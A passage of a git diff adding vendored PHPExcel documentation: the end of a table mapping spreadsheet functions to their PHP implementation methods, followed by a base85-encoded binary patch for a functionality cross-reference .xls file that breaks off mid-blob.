PHPExcel_Calculation_MathTrig::SUMSQ +SUMX2MY2 CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::SUMX2MY2 +SUMX2PY2 CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::SUMX2PY2 +SUMXMY2 CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::SUMXMY2 +SYD CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::SYD + +T CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::RETURNSTRING +TAN CATEGORY_MATH_AND_TRIG tan +TANH CATEGORY_MATH_AND_TRIG tanh +TBILLEQ CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::TBILLEQ +TBILLPRICE CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::TBILLPRICE +TBILLYIELD CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::TBILLYIELD +TDIST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::TDIST +TEXT CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::TEXTFORMAT +TIME CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::TIME +TIMEVALUE CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::TIMEVALUE +TINV CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::TINV +TODAY CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::DATENOW +TRANSPOSE CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::TRANSPOSE +TREND CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::TREND +TRIM CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::TRIMSPACES +TRIMMEAN CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::TRIMMEAN +TRUE CATEGORY_LOGICAL PHPExcel_Calculation_Logical::TRUE +TRUNC CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::TRUNC +TTEST CATEGORY_STATISTICAL *** Not yet Implemented +TYPE CATEGORY_INFORMATION PHPExcel_Calculation_Functions::TYPE + +UPPER CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::UPPERCASE +USDOLLAR CATEGORY_FINANCIAL *** Not yet Implemented + +VALUE CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::VALUE +VAR CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::VARFunc +VARA CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::VARA +VARP CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::VARP +VARPA CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::VARPA +VDB CATEGORY_FINANCIAL *** Not yet Implemented +VERSION CATEGORY_INFORMATION PHPExcel_Calculation_Functions::VERSION +VLOOKUP CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::VLOOKUP + +WEEKDAY CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::DAYOFWEEK +WEEKNUM CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::WEEKOFYEAR +WEIBULL CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::WEIBULL +WORKDAY CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::WORKDAY + +XIRR CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::XIRR +XNPV CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::XNPV + +YEAR CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::YEAR +YEARFRAC CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::YEARFRAC +YIELD CATEGORY_FINANCIAL *** Not yet Implemented +YIELDDISC CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::YIELDDISC +YIELDMAT CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::YIELDMAT + +ZTEST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::ZTEST diff --git a/vendor/phpoffice/phpexcel/Documentation/Functionality Cross-Reference.xls b/vendor/phpoffice/phpexcel/Documentation/Functionality Cross-Reference.xls new file mode 100644 index 0000000000000000000000000000000000000000..227fd612f0a99ae0c2b318f36d8ad63b4513ed93 GIT binary patch literal 38912 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 